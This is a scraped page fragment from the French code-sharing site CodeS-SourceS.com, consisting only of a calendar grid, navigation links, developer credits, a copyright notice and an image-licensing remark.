LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode

Téléchargements

Comparez les prix Nouvelle version

Photothèque Nouveau !



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,577 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.